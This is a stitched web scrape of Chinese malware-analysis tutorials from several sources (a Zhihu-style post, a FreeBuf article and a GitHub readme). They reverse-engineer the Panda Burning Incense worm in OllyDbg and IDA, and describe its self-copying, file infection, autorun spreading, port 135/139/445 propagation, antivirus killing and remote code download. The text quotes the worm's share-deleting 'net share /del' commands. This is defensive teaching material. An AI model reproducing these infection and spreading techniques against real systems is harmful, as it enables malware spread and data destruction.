004053F2 |. 33D2 |xor edx,edx ; edx = 0

004053F4 |. F7F1 |div ecx ; edx = eax % ecx

004053F6 |. 8B45 FC |mov eax,[local.1]

004053F9 |. 0FB64418 FF |movzx eax,byte ptr ds:[eax+ebx-0x1] ; eax = str2[edi - 1]

004053FE |. 33D0 |xor edx,eax ; edx = edx ^ eax

00405400 |. 8D45 E8 |lea eax,[local.6]

00405403 |. E8 24EAFFFF |call 00403E2C ; eax[ebx] = edx

00405408 |. 8B55 E8 |mov edx,[local.6]

0040540B |. 8D45 F0 |lea eax,[local.4]

0040540E |. E8 C1EAFFFF |call 00403ED4

00405413 |. 43 |inc ebx ; ebx++

00405414 |. 4E |dec esi ; esi--

00405415 |.^ 75 BA \jnz X004053D1 ; }

00405417 |> 8B45 F4 mov eax,[local.3]

0040541A |. 8B55 F0 mov edx,[local.4]

我们接着分析函数0x404018,我们发现其是比较两个参数eax所指向的字符串和edx所指向的字符串是否相等,而此时eax指向的字符串刚好是加密函数0x405360所产生的在0x009000c0地址下的字符串。而edx指向的地址0x0090000c地址下的字符串也刚好为此字符串,二者相当。所以不会结束进程。现在我们知道了函数0x405360是一个加密函数,而函数0x404018是一个字符串比较函数。从而判断源文件是否被修改。一共有两处这种判断,我们继续往下动态分析得第二处是将字符串“whboy”与如下字符串经过函数0x405360加密后得到第二张图中的字符串程序通过这两处自效验过程后,继续运行我们继续向下分析发现程序在调用三个函数之后就会进入消息循环,所以我们可以得知这三个函数是这个病毒的主要功能。第一个函数:我们F7进入第一个函数,然后我们通过动态调试进入每一个Call分析其功能,最后分析如下。其会先调用GetMoudleFileNameA( )函数获得程序完整路径,然后在完整路径的基础上去掉程序名得到一个字符串后与Desktep.ini连接。并通过FindFirstFileA( )函数寻找此文件。如果找到了则删除此文件,否则跳过继续执行。我们继续往下分析,其会调用ReadFile()把自己读到内存中,然后调用GetFileSize()获得文件的大小接着其会判断文件的最后一个字节是不是等于1,意思是等与1就证明其被感染文件随之去执行上方一部分代码块,否则则继续执行。接着往下分析,程序会会获取系统路径并与drivers和spcolsv.exe连接成路径并于程序自身路径比较看是否相等,相等则会跳转。因为程序路径与此路径不匹配,所以其不会跳转。接下来程序会利用OpenProcrss()函数来提成程序的权限,然后会调用CopyFile()函数把自身复制一份到系统路径的drivers文件夹下,并命名为spcolsv.exe. 创建完之后程序会调用WinExec( )运行此程序,并结束进程。如此我们知道了,panda.exe主要是为了在系统目录的driver文件夹下创建病毒的副本spcolsv.exe文件并运行它。这样其在上方判断路径是否相等时就会成立,从而是程序继续往下执行。接下来我们可以恢复虚拟机的初始快照,并再次分析病毒样本,当我们运行来到路径判断处时我们只要把ZF为置0即可让程序认为自己就时系统目录drivers文件夹下的spcolsv.exe程序了,接着我们就可以继续往下分析了。接着分析后我们第一个函数运行返回了。我们紧接着可以分析第二个功能函数了。第二个函数:我们F7进入第二个函数后发现其调用了3个函数后返回,那我们就一个一个分析。我们F7继续进入第一个函数后,返现此函数仅仅调用了CreateThread( )创建了一个线程。线程函数为0x0040A6C8函数,我们可以在此函数入口处下断点我们这里使用一个技巧来完成多线程的调试,那就是我们可以在运行完此函数返回后直接跳过后两个函数,这样第二个功能函数返回后,我们也不执行第三个功能函数,直接让程序进入消息循环。这样一来方便我们调试此线程。当程序返回消息循环后我们F9运行程序,这是那个新创建的线程已经启动,并且程序断在了我们设置的线程函数入口断点处。接着我们反汇编查看0x004076b4函数,发现其调用了GetDriveType( )。我们F7进入动态调试,我们发现其会从A遍历到Z盘,把存在的盘符保存到0x9c0160地址处。接着会把存在的盘符与“:\”连接在一起。接着会调用0x4094a4函数,反汇编查看此函数时发现可疑。我们F7进入进一步分析。进一步分析我们发现其会把刚才找到存在的盘符与“%20*.*%20”连接后,调用%20FindFirstFileA( )寻找任意文件,如果找不到文件就跳转结束。(因为此时肯定有文件,所以F8运行其一定不会跳转,接着我们进一步往下分析)当前寻找到文件后就会获得其扩展名,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用DeleteFile( )删除.(GHO文件时系统备份文件,其是防止系统恢复)。然后其又会比较找到的文件是否为setup.exe或者http://NTDETECT.COM,如果为这两个文件的话则直接去寻找下一个文件,不做任何操作。如果不是上述两个文件则继续判断文件的后缀,如果是exe,scr,pif,com文件则调用0x0040800函数,如果是htm,html,asp,php,jsp,aspx文件的话则会调用0x00407adc函数。我们这里在这里判断是否为exe文件处下断点,运行程序后当寻找到磁盘中的cmdline.exe文件后其会进入第一类函数中进行感染文件,我们F7进入后会分析。其会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。接着会判断查找到的文件是否为正在运行的程序,如果相等则直接返回。接着其会把寻找的到的exe文件读到内存中,并且设置文件属性。然后会将正在运行的病毒样本文件复制为待感染的exe文件。这样一来现在此exe文件现在就是病毒文件了。然后往下通过动态分析得:其会获得原文件得大小然后和文件名与字符whboy连接在一起并以1结尾,构成一段字符串。然后一次在病毒程序后追加写入原文件和上述标志信息。得感染后得文件组成为病毒文件原文件标志信息接着我们利用上述思路分析0x00407adc函数得出其是通过将主要将字符串“\”添加到文件末尾而感染网络文件得。分析完第二功能函数得第一个函数后,我们接着去分析第二个函数。我们从新加载程序,并且我们直接设eip为第二个功能函数得第二个函数。这样便于分析,不会受到前面函数得影响。F7进入此函数后发现设置了一个计时器,那么我们为了方便分析此计时器回调函数干了什么,我们同样先在计时器回调函数处下断点,然后在执行完此函数后直接返回到消息循环中。运行程序,发现程序会停在此计时器回调函数中。我们往下分析此函数,其会先在已存在得盘得根目录下寻找setup.exe文件与autorun.inf文件。然后如果没有寻找到此文件就跳转。跟着跳转后,其会把正在运行得病毒文件复制为c:\setup.exe。随后又创建c:\autorun.inf文件往文件中写入一下内容后,将setup.exe与autorun.inf得属性设为隐藏。此函数到此就分析结束了。紧接着我们在分析第二个功能函数得最后一个函数,同样我们重新载入程序,并且直接来到此函数处,不运行前面那几个功能函数。F7进入此函数,发现其会创建线程,而且是循环创建10此。为了便于对此线程回调函数得分析,我们在其执行一次创建后就让其返回到消息循环中。并在线程回调函数处下断点,运行程序将会断在此断点处。程序停到此线程回调函数入口点后,我们进一步分析。发现此函数会通过端口139和端口445进行区域网传播。这样此函数就分析完了,到此为止我们把前两个功能函数已经分析完了,下面分析第三个功能函数第三个函数:我们还是重新载入程序后,直接设置eip来到第三个功能函数处。然后我们F7进入函数后发现其主要功能就是设置了4个计时器。通过四个计时器回调函数来完成具体得功能。我们还是采用以前得思路,在其计时器回调函数处下断点后我们运行完一个计时器设置函数后直接来到消息循环处。但是我们要注意其有的计时器设置得时间周期较长,我们可以在调用时把时间周期参数该小点。第一个计时器回调函数进入函数后我们发现函数调用了0x00406f3c函数,进入后发现是创建了一个线程。我们在线程回调函数处下断点并采用老方法来到断点处。来到断点处我们发现其共有3种操作,一遍历杀毒软件并关闭。二是设置特权三是关闭任务管理器等一些程序分析完线程函数后我们回到主线程继续分析其调用RegCreatekeyExA()---->RegSetValaueExA%20%20%20%20---->%20%20%20RegCloseKey()来设置两个启动项,第一个是用来在开机时自动启动病毒。另一个是设置使用户无法查看隐藏文件第二个计时器回调函数接着重新载入程序来到第二个计时器回调函数处。我们在调用第二个计时器设置函数时我们应把其时间周期参数该小点,改为1000(1s)。然后在分析运行程序。程序来到计时器回调函数中,发现函数实际是创建了一个线程。我们还采用直接在此线程回调函数处下断点,然后我们运行程序。我们运行程序后,程序会停在线程回调函数得断点处。接下来我们就可以对此线程回调函数进一步分析。我们发现其会先调用0x40c728函数将一段密文与“xboy”进行一定得运算,算法和文件自效验时用的一样。最后得到一个网址。接下来其会调用函数0x40c81c,反汇编查看发现可疑,我们F7进入分析。发现其实际是从刚才产生得那个网址上试图从网站读取到网页源代码并且运行代码。第三个计时器回调函数当程序停在第三个即使回调函数处时,我们发现其创建了两个线程。我们反汇编查看第二个线程得回调函数发现其利用cmd命令删除了共享文件第四个计时器回调函数来到第四个计时器回调函数后发现其创建了一个线程我们在线程回调函数下断点,运行程序来到回调函数处。我们发现此回调函数主要是删除一些服务和杀毒软件得启动项(瑞星了什么的)总结该文就是我在分析病毒时的思路,没用IDA就时想锻炼锻炼反汇编代码的能力。动态调试结合IDA会更方便分析。第一次分析病毒如有不对的地方还请路过的大牛指点。发布于 2020-06-19 18:19虚拟机OllyDbg源代码​赞同 18​​2 条评论​分享​喜欢​收藏​申请

恶意代码分析实战六:熊猫烧香病毒样本分析 - FreeBuf网络安全行业门户

恶意代码分析实战六:熊猫烧香病毒样本分析 - FreeBuf网络安全行业门户

主站 分类

漏洞

工具

极客

Web安全

系统安全

网络安全

无线安全

设备/客户端安全

数据安全

安全管理

企业安全

工控安全

特色

头条

人物志

活动

视频

观点

招聘

报告

资讯

区块链安全

标准与合规

容器安全

公开课

报告 专辑 ···公开课···商城···

用户服务

··· 行业服务

政 府

CNCERT

CNNVD

会员体系(甲方)

会员体系(厂商)

产品名录

企业空间

知识大陆 搜索 创作中心 登录注册 官方公众号企业安全新浪微博 FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。 FreeBuf+小程序把安全装进口袋 恶意代码分析实战六:熊猫烧香病毒样本分析

关注

系统安全 恶意代码分析实战六:熊猫烧香病毒样本分析

2021-09-08 10:39:23

这一节主要通过熊猫烧香病毒来进行融会贯通,将前面学到过的所有知识都进行实践。实验例子下载:点我传送!!!请务必在虚拟机中进行此实验。熊猫烧香行为分析查壳因为程序肯定是病毒,我就不上传杀毒网去查杀了。正常我们在分析一个未知恶意程序的时候,流程都是要先上传杀毒网看看。用PEID进行查壳,显示未加壳,程序采用Delphi语言开发。补充下Dephi开发的程序和C++开发的程序的一些区别。区别:1.Delphi在函数调用时参数的传递不完全用栈,主要用寄存器。2.而C++程序函数调用前会使用push语句将参数入栈,然后再进行call。3.Delphi一般将第一个参数放入eax寄存器,第二个参数放入edx,第三个参数放入ecx寄存器,其余参数按照与VC程序类似的方式压栈。4.总之,Delphi编译器默认以register方式传递函数参数。这一点与VC编译的程序完全不同。5.提示:栈上给局部变量分配空间的时候,栈是向下增长的,而栈上的数组、字符串、结构体等却是向上增长的。理解这一点可以帮助识别栈上的变量。简单静态分析用Strings和Dependency分别对熊猫烧香的字符串和导出表进行分析。首先来看Strings分析出的字符串,这里面显示出了很多弱口令密码,猜测应该是会爆破内网的135端口弱口令,来入侵内网机器传播病毒的一个方式。还可以看到程序可能会自动感染U盘。导出表中分析出URLDownload函数,此函数多为下载者恶意程序。弱口令内网135端口爆破感染U盘下载者功能135弱口令爆破密码U盘感染字符串关键字恶意下载者函数行为分析进程树监控这里我们还是用Process Monitor来监控病毒行为,打开Process Monitor,在筛选条件中将“样本.exe”加入到筛选器的“Process Name”中,然后运行病毒,首先可以查看一下进程树:在进程树中可以发现,“样本.exe”衍生出了"spoclsv.exe"。衍生出的进程又打开了两次“cmd.exe”。"cmd.exe /c net share C$ /del /y""cmd.exe /c net share admin$ /del /y"第一条命令,它的意思是在命令行模式下删除C盘的网络共享,执行完后关闭cmd.exe。因为我的虚拟机里面只有一个C盘,所以我们有理由相信,这个病毒应该是会关闭系统中所有磁盘的网络共享。第二条命令是取消系统根目录的共享。注册表监控将RegSetValue添加到筛选器的“Operation”中,可以看到注册表的行为:注册表的这个位置主要是用来随机数种子的生成,仅仅靠这条信息是无法推测出病毒的行为的,所以这里我们认为“样本.exe”对于注册表是没有实质的影响。文件监控将CreateFile添加到筛选器的“Operation”中,可以看到文件操作的行为:可以在标红处位置看见,“样本.exe”在C:\Windows\system32\drivers目录创建了文件"spoclsv.exe",之后就没有什么可疑的文件操作了,所以我们可以判断,这个恶意百度真正的破坏部分是由"spoclsv.exe"实现的,那么我们接下来就是专门来监控这个进程即可。spoclsv.exe注册表监控这里我们需要将进程spoclsv.exe的进程加入筛选器进行分析。一般来说,病毒所产生的操作会比较多,所以我们这里为了便于讨论研究,我们就只列出比较常用的操作选项来显示,我们先来看看RegCreateKey和RegSetValue:可见,恶意程序创建了一个启动项svcshare,使spoclsv.exe每次重启后可继续运行。接着还可以看到Hidden关键字,对注册表的这个位置进行设置,能够实现文件的隐藏。此处进行设置后,即便在"文件夹选项"中选择"显示所有文件和文件夹",也无法显示隐藏文件。接着我们来看看RegDeleteValue:可见恶意程序会将当时几乎所有的安全类工具的启动项都给删除。spoclsv.exe文件监控对于文件的监控,主要是看病毒是否将自己复制到其他目录,或者是创建输出了哪些文件等,监控如下:可见,恶意程序会在C:\Windows\system32\drivers创建spoclsv.exe这个文件,然后会在C盘根目录创建setup.exe和autorun.inf,并且还会在一些目录生成Desktop_.ini文件。因为创建了这些文件之后就对注册表中的SHOWALL项进行了设置,使得隐藏文件无法显示,因此这些所创建出来的文件属性都是隐藏的。spoclsv.exe网络监控分析在Process Monitor工具栏中只选择Show NetWork Activity,见如下图:图中,192.168.200.x是我虚拟机的内网网段,可见恶意程序会不断的尝试连接我内网中的其他计算机,而且还会向47.74.46.59访问http发送和接受数据。行为总结熊猫烧香逆向分析在这里我们利用逆向界的倚天剑和屠龙刀,IDA和OD来对熊猫烧香进行逆向分析,对其内部实现的原理有个了解,因为篇幅关系不会对整个程序彻底分析,而是挑拣一些重要内容进行分析。main入口函数用“倚天剑”IDA Pro载入样本后可以看到如下图:图1是样本的main函数入口最开始的汇编代码,我们不从第一行汇编代码开始看,因为大部分内容都是Delphi自动生成的,我们只找关键位置来看。图2是和图1连在一起的,因为图片太长我就分两次截图了,我们这次任务就是分析这两张图中的细节。sub_403C98(AllocStrCpy)Part1:我们在图1中可以看到有两个sub_403C98的函数,因为之前说过上面代码都是Delphi自动生成的,所以这里就不分析,我们最开始的地方应当是标红这位置开始分析:在图中我们可以看到两处地方都有个edx寄存器赋值,我们之前说过Delphi程序用寄存器来传参数,所以这里的eax和edx都是call的参数,我们下面来仔细看看是什么数据给了edx。Part2:双击dword_40CC40处,IDA会跳转到如下地方:其实这些都是中文数据,只不过IDA Pro没有自动识别出来,我们可以按alt+a出现如下界面后选C-style,就可以在图中看到IDA Pro把数据识别成了***武*汉*男*生*感*染*下*载*者***的中文。Part3:我们再来看看是什么数据给了eax寄存器,同样双击dword_40E7D4处,IDA Pro跳转如下:可见IDA Pro跳转到了BSS段,我们可以猜测dword_40E7D4是一个未初始化的全局变量,接着我们来用屠龙刀OD 来验证下,call函数过后会把什么数据放入这个全局变量。Part4:载入程序后,在0x0040CB7E地址处进行下断,然后F9运行到此位置:接着我们鼠标右键数据窗口中跟随eax寄存器,此时在内存数据窗口中跳转到了eax寄存器的地址处,并且可以从如下图中看到0x0040E7D4处的内容是0,因为全局变量未初始化时候,编译器默认会将数据初始为0这时候我们F8单步步过Call后,可见有数据被写入到地址中了。因为写入的是一个地址数据,所以我们要在内存窗口中右键长型->地址,来使得数据更加可视化。其地址的内容就是Call函数传入的第2个参数字符串,***武*汉*男*生*感*染*下*载*者***。另外一个感谢艾玛,mopery对此木马的关注!~的Call也是用同样方式进行分析,作者不再赘述,至此我们分析出了sub_403C98函数的功能,并把他重命名为AllocStrCpy拷贝字符串到全局变量中。sub_405360(Decode)接着继续分析第一张图的如下图的地方,从图中可见call sub_405360,有两个参数:(1)xboy,(2)一段看似加密的字符串可见,经过Call后在ecx寄存器中得到了解密后的字符串***武*汉*男*生*感*染*下*载*者***接着,我们进入Call内部详细分析解密算法,首先:如下图有一个循环的地方值得我们注意,位置在0x4053D1之后借助OD的单步调试并且观察寄存器和堆栈信息,逐一对这个循环中的内容进行详细分析:我用C++代码还原了此汇编的加密算法,运行后得到的结果是一致的。Delphi逆向小技巧其实Delphi有专门的反编译器,其效果不比IDA Pro差,甚至更胜一筹,其中值得比较推荐的一款就是IDR,点我下载。IDR能分析出IDA Pro无法识别的符号,而且对中文字符串的显示效果也很不错,点击SRC按钮还能反编译成Delphi伪代码。它可以将符号表(Map)文件导出,便于我们在OD中载入符号表进行调试。显示出了Delphi的符号,便于分析和调试。sub_404018(strcmp)我们用了上面介绍的小技巧后,分析起来就轻松多了,这里直接分析出了sub_404018是一个strcmp字符串比较函数,用来比较解密后的字符串是否等同于全局变量。这作者好像个智障有没有觉得,他直接把明文写在代码里面用来和解密后的字符串进行比较?那你还加密啥呢?别人不逆你这Decode也能知道解密后的字符串是什么了,真是无语这种写法。① sub_00408024(伪装)接下来就是逆向分析这3个Call了,首先我们来分析第一个Call:拷贝自身到系统目录进行伪装,并且设置为隐藏属性,接着用Winexec函数打开系统目录下伪装的程序,并且退出当前进程。

Part1:ParamStr函数功能是根据索引返回命令行程序的参数,传入的是0返回结果是命令行程序的路径。传入ParamStr返回来的绝对路径,Call过后返回来程序的目录路径,即C:\Users\Administrator\Desktop,所以sub_00405684可以将其重命名为SubExePath。Part2:接着会用strcat函数拼接成如下字符串C:\Users\Administrator\Desktop\Desktop_.ini:传入字符串C:\Users\Administrator\Desktop\Desktop_.ini,Call0x004057A4,用IDR进入这个函数分析后有明显的API函数,可以猜测此函数是将Desktop_.ini这个文件的最后写入时间转换成DOS时间。断点的数据DOS时间这里面截图截错了,应该是前4个字节对应时间的数据,首先0x531E ,其中0x1E代表的年月日里面的日,其余数据对应的根据MSDN上的文档进行转换。part3:我们part2分析的函数重命名为GetFileTime2DosTime,然后继续分析下面这一段代码。他会根据上面Part2的函数返回值进行判断,如果返回值为0就跳转也就是不存在Desktop_.ini文件就跳转,如果有存在Desktop_.ini文件存在则显示将属性设置为正常,然后再删除此文件。part4:接着执行完流程后到达00408110位置处继续分析,一开始便是先获取了自身路径然后传入一个call,之后堆栈里面有个下载者相关的字符串信息这个先不管感觉没什么用,然后就是一些字符串的处理一路向下,最后到了红色标记方块处,从OD动态调试分析中可以看出他获取了系统目录然后拼接了成了字符串C:\Windows\system32\drivers\spoclsv.exe,不知道各位大佬还记不记得我们在行为分析的时候,就有分析出样本.exe会把自身拷贝到这个目录,达到伪装隐蔽的效果。part5:猜测这下面应该就是用代码来实现拷贝自身到系统目录了,动静态分析后确实发现是将自身程序拷贝到系统目录改名位系统文件名进行伪装,并且设置属性为隐藏属性。接着程序就会运行在系统目录下的自身程序,并且退出当前的进程,当用OD call这个ExitProcess 程序就会退出跑飞。② sub_0040CA5C第二个Call: 创建一个线程,设置定时器,创建随机数,线程函数内网135端口批量爆破。

进入Call后分别有3个Call,第一个是创建线程。第二个Call是设置一个Timer计时器。第三个Call有创建随机数,然后调用线程函数运行sub_0040B76C③ sub_0040C97C第3个Call:终止定时器,设置4个新的计时器

学习总结终于到此熊猫烧香都分析完了,从行为分析开始然后过渡到IDR软件静态分析,x32dbg动态调试分析,分析每个Call的用途,结合动静态进行验证猜测还原代码,希望各位能通过此篇文章学习到一些基础和技巧,个人水平有限文章内如有错误请指正谢谢。有兴趣的可加QQ群:1145528880 (一起学习 逆向、PWN二进制安全、Web信息安全、IoT安全、游戏逆向分析原理交流) 本文作者:,

转载请注明来自FreeBuf.COM # 熊猫烧香 # 恶意代码分析实战 # OD动态调试 # 逆向分析技术

被以下专辑收录,发现更多精彩内容

+ 收入我的专辑

+ 加入我的收藏

展开更多

相关推荐

关 注 0 文章数 0 关注者

文章目录

熊猫烧香行为分析 查壳简单静态分析行为分析行为总结熊猫烧香逆向分析 main入口函数sub_403C98(AllocStrCpy)sub_405360(Decode)Delphi逆向小技巧sub_404018(strcmp)① sub_00408024(伪装)② sub_0040CA5C③ sub_0040C97C学习总结 本站由阿里云 提供计算与安全服务 用户服务 有奖投稿 提交漏洞 参与众测 商城 企业服务 安全咨询 产业全景图 企业SRC 安全众测 合作信息 斗象官网 广告投放 联系我们 友情链接 关于我们 关于我们 加入我们 微信公众号 新浪微博 战略伙伴 FreeBuf+小程序 扫码把安全装进口袋 斗象科技 FreeBuf 漏洞盒子 斗象智能安全平台 免责条款 协议条款

Copyright © 2020 WWW.FREEBUF.COM All Rights Reserved

   沪ICP备13033796号

|

沪公安网备

yload":{"allShortcutsEnabled":false,"fileTree":{"6. 熊猫烧香病毒分析":{"items":[{"name":"Labs","path":"6. 熊猫烧香病毒分析/Labs","contentType":"directory"},{"name":"readme.md","path":"6. 熊猫烧香病毒分析/readme.md","contentType":"file"}],"totalCount":2},"":{"items":[{"name":"1. 专业术语入门知识","path":"1. 专业术语入门知识","contentType":"directory"},{"name":"2. 静态分析基础技术","path":"2. 静态分析基础技术","contentType":"directory"},{"name":"3. 动态分析基础技术","path":"3. 动态分析基础技术","contentType":"directory"},{"name":"4. IDA Pro神器的使用","path":"4. IDA Pro神器的使用","contentType":"directory"},{"name":"5. OllyDebug动态结合","path":"5. OllyDebug动态结合","contentType":"directory"},{"name":"6. 熊猫烧香病毒分析","path":"6. 熊猫烧香病毒分析","contentType":"directory"},{"name":"readme.md","path":"readme.md","contentType":"file"}],"totalCount":7}},"fileTreeProcessingTime":14.785964,"foldersToFetch":[],"repo":{"id":395245687,"defaultBranch":"master","name":"MalwareAnalysis","ownerLogin":"Vxer-Lee","currentUserCanPush":false,"isFork":false,"isEmpty":false,"createdAt":"2021-08-12T08:16:01.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/27657137?v=4","public":true,"private":false,"isOrgOwned":false},"symbolsExpanded":false,"treeExpanded":true,"refInfo":{"name":"master","listCacheKey":"v0:1628756211.8402371","canEdit":false,"refType":"branch","currentOid":"e41e279d75d5c6f476365c551445a1cc85f5f3fa"},"path":"6. 熊猫烧香病毒分析/readme.md","currentUser":null,"blob":{"rawLines":null,"stylingDirectives":null,"csv":null,"csvError":null,"dependabotInfo":{"showConfigurationBanner":false,"configFilePath":null,"networkDependabotPath":"/Vxer-Lee/MalwareAnalysis/network/updates","dismissConfigurationNoticePath":"/settings/dismiss-notice/dependabot_configuration_notice","configurationNoticeDismissed":null},"displayName":"readme.md","displayUrl":"https://github.com/Vxer-Lee/MalwareAnalysis/blob/master/6.%20%E7%86%8A%E7%8C%AB%E7%83%A7%E9%A6%99%E7%97%85%E6%AF%92%E5%88%86%E6%9E%90/readme.md?raw=true","headerInfo":{"blobSize":"19.6 KB","deleteTooltip":"You must be signed in to make or propose changes","editTooltip":"You must be signed in to make or propose changes","ghDesktopPath":"https://desktop.github.com","isGitLfs":false,"onBranch":true,"shortPath":"8012fa5","siteNavLoginPath":"/login?return_to=https%3A%2F%2Fgithub.com%2FVxer-Lee%2FMalwareAnalysis%2Fblob%2Fmaster%2F6.%2520%25E7%2586%258A%25E7%258C%25AB%25E7%2583%25A7%25E9%25A6%2599%25E7%2597%2585%25E6%25AF%2592%25E5%2588%2586%25E6%259E%2590%2Freadme.md","isCSV":false,"isRichtext":true,"toc":[{"level":1,"text":"恶意代码分析实战六、熊猫烧香病毒样本分析","anchor":"恶意代码分析实战六熊猫烧香病毒样本分析","htmlText":"恶意代码分析实战六、熊猫烧香病毒样本分析"},{"level":2,"text":"熊猫烧香行为分析","anchor":"熊猫烧香行为分析","htmlText":"熊猫烧香行为分析"},{"level":3,"text":"查壳","anchor":"查壳","htmlText":"查壳"},{"level":3,"text":"简单静态分析","anchor":"简单静态分析","htmlText":"简单静态分析"},{"level":3,"text":"行为分析","anchor":"行为分析","htmlText":"行为分析"},{"level":4,"text":"进程树监控","anchor":"进程树监控","htmlText":"进程树监控"},{"level":4,"text":"注册表监控","anchor":"注册表监控","htmlText":"注册表监控"},{"level":4,"text":"文件监控","anchor":"文件监控","htmlText":"文件监控"},{"level":4,"text":"spoclsv.exe注册表监控","anchor":"spoclsvexe注册表监控","htmlText":"spoclsv.exe注册表监控"},{"level":4,"text":"spoclsv.exe文件监控","anchor":"spoclsvexe文件监控","htmlText":"spoclsv.exe文件监控"},{"level":4,"text":"spoclsv.exe网络监控分析","anchor":"spoclsvexe网络监控分析","htmlText":"spoclsv.exe网络监控分析"},{"level":3,"text":"行为总结","anchor":"行为总结","htmlText":"行为总结"},{"level":2,"text":"熊猫烧香逆向分析","anchor":"熊猫烧香逆向分析","htmlText":"熊猫烧香逆向分析"},{"level":3,"text":"main入口函数","anchor":"main入口函数","htmlText":"main入口函数"},{"level":3,"text":"sub_403C98(AllocStrCpy)","anchor":"sub_403c98allocstrcpy","htmlText":"sub_403C98(AllocStrCpy)"},{"level":4,"text":"Part1:","anchor":"part1","htmlText":"Part1:"},{"level":4,"text":"Part2:","anchor":"part2","htmlText":"Part2:"},{"level":4,"text":"Part3:","anchor":"part3","htmlText":"Part3:"},{"level":4,"text":"Part4:","anchor":"part4","htmlText":"Part4:"},{"level":3,"text":"sub_405360(Decode)","anchor":"sub_405360decode","htmlText":"sub_405360(Decode)"},{"level":3,"text":"Delphi逆向小技巧","anchor":"delphi逆向小技巧","htmlText":"Delphi逆向小技巧"},{"level":3,"text":"sub_404018(strcmp)","anchor":"sub_404018strcmp","htmlText":"sub_404018(strcmp)"},{"level":3,"text":"① sub_00408024(伪装)","anchor":"-sub_00408024伪装","htmlText":"① sub_00408024(伪装)"},{"level":4,"text":"Part1:","anchor":"part1-1","htmlText":"Part1:"},{"level":4,"text":"Part2:","anchor":"part2-1","htmlText":"Part2:"},{"level":4,"text":"part3:","anchor":"part3-1","htmlText":"part3:"},{"level":4,"text":"part4:","anchor":"part4-1","htmlText":"part4:"},{"level":5,"text":"part5:","anchor":"part5","htmlText":"part5:"},{"level":3,"text":"② sub_0040CA5C","anchor":"-sub_0040ca5c","htmlText":"② sub_0040CA5C"},{"level":3,"text":"③ sub_0040C97C","anchor":"-sub_0040c97c","htmlText":"③ sub_0040C97C"},{"level":2,"text":"学习总结","anchor":"学习总结","htmlText":"学习总结"}],"lineInfo":{"truncatedLoc":"342","truncatedSloc":"177"},"mode":"file"},"image":false,"isCodeownersFile":null,"isPlain":false,"isValidLegacyIssueTemplate":false,"issueTemplate":null,"discussionTemplate":null,"language":"Markdown","languageID":222,"large":false,"planSupportInfo":{"repoIsFork":null,"repoOwnedByCurrentUser":null,"requestFullPath":"/Vxer-Lee/MalwareAnalysis/blob/master/6.%20%E7%86%8A%E7%8C%AB%E7%83%A7%E9%A6%99%E7%97%85%E6%AF%92%E5%88%86%E6%9E%90/readme.md","showFreeOrgGatedFeatureMessage":null,"showPlanSupportBanner":null,"upgradeDataAttributes":null,"upgradePath":null},"publishBannersInfo":{"dismissActionNoticePath":"/settings/dismiss-notice/publish_action_from_dockerfile","releasePath":"/Vxer-Lee/MalwareAnalysis/releases/new?marketplace=true","showPublishActionBanner":false},"rawBlobUrl":"https://github.com/Vxer-Lee/MalwareAnalysis/raw/master/6.%20%E7%86%8A%E7%8C%AB%E7%83%A7%E9%A6%99%E7%97%85%E6%AF%92%E5%88%86%E6%9E%90/readme.md","renderImageOrRaw":false,"richText":"恶意代码分析实战六、熊猫烧香病毒样本分析\n这一节主要通过熊猫烧香病毒来进行融会贯通,将前面学到过的所有知识都进行实践。\n熊猫烧香行为分析\n查壳\n因为程序肯定是病毒,我就不上传杀毒网去查杀了。正常我们在分析一个未知恶意程序的时候,流程都是要先上传杀毒网看看。\n用PEID进行查壳,显示未加壳,程序采用Delphi语言开发。\n\n补充下Dephi开发的程序和C++开发的程序的一些区别。\n\n区别:\n1.Delphi在函数调用时参数的传递不完全用栈,主要用寄存器。\n2.而C++程序函数调用前会使用push语句将参数入栈,然后再进行call。\n3.Delphi一般将第一个参数放入eax寄存器,第二个参数放入edx,第三个参数放入ecx寄存器,其余参数按照与VC程序类似的方式压栈。\n4.总之,Delphi编译器默认以register方式传递函数参数。这一点与VC编译的程序完全不同。\n5.提示:栈上给局部变量分配空间的时候,栈是向下增长的,而栈上的数组、字符串、结构体等却是向上增长的。理解这一点可以帮助识别栈上的变量。\n\n简单静态分析\n用Strings和Dependency分别对熊猫烧香的字符串和导出表进行分析。\n首先来看Strings分析出的字符串,这里面显示出了很多弱口令密码,猜测应该是会爆破内网的135端口弱口令,来入侵内网机器传播病毒的一个方式。还可以看到程序可能会自动感染U盘。导出表中分析出URLDownload函数,此函数多为下载者恶意程序。\n\n弱口令内网135端口爆破\n感染U盘\n下载者功能\n\n135弱口令爆破密码\n\nU盘感染字符串关键字\n\n恶意下载者函数\n\n行为分析\n进程树监控\n​\t这里我们还是用Process Monitor来监控病毒行为,打开Process Monitor,在筛选条件中将“样本.exe”加入到筛选器的“Process Name”中,然后运行病毒,首先可以查看一下进程树:\n\n​\t在进程树中可以发现,“样本.exe”衍生出了\"spoclsv.exe\"。衍生出的进程又打开了两次“cmd.exe”。\n\n\"cmd.exe /c net share C$ /del /y\"\n\"cmd.exe /c net share admin$ /del /y\"\n\n第一条命令,它的意思是在命令行模式下删除C盘的网络共享,执行完后关闭cmd.exe。因为我的虚拟机里面只有一个C盘,所以我们有理由相信,这个病毒应该是会关闭系统中所有磁盘的网络共享。\n第二条命令是取消系统根目录的共享。\n注册表监控\n​\t将RegSetValue添加到筛选器的“Operation”中,可以看到注册表的行为:\n\n​\t注册表的这个位置主要是用来随机数种子的生成,仅仅靠这条信息是无法推测出病毒的行为的,所以这里我们认为“样本.exe”对于注册表是没有实质的影响。\n文件监控\n​\t将CreateFile添加到筛选器的“Operation”中,可以看到文件操作的行为:\n\n​\t可以在标红处位置看见,“样本.exe”在C:\\Windows\\system32\\drivers目录创建了文件\"spoclsv.exe\",之后就没有什么可疑的文件操作了,所以我们可以判断,这个恶意百度真正的破坏部分是由\"spoclsv.exe\"实现的,那么我们接下来就是专门来监控这个进程即可。\nspoclsv.exe注册表监控\n​\t这里我们需要将进程spoclsv.exe的进程加入筛选器进行分析。一般来说,病毒所产生的操作会比较多,所以我们这里为了便于讨论研究,我们就只列出比较常用的操作选项来显示,我们先来看看RegCreateKey和RegSetValue:\n\n​\t\t可见,恶意程序创建了一个启动项svcshare,使spoclsv.exe每次重启后可继续运行。接着还可以看到Hidden关键字,对注册表的这个位置进行设置,能够实现文件的隐藏。此处进行设置后,即便在\"文件夹选项\"中选择\"显示所有文件和文件夹\",也无法显示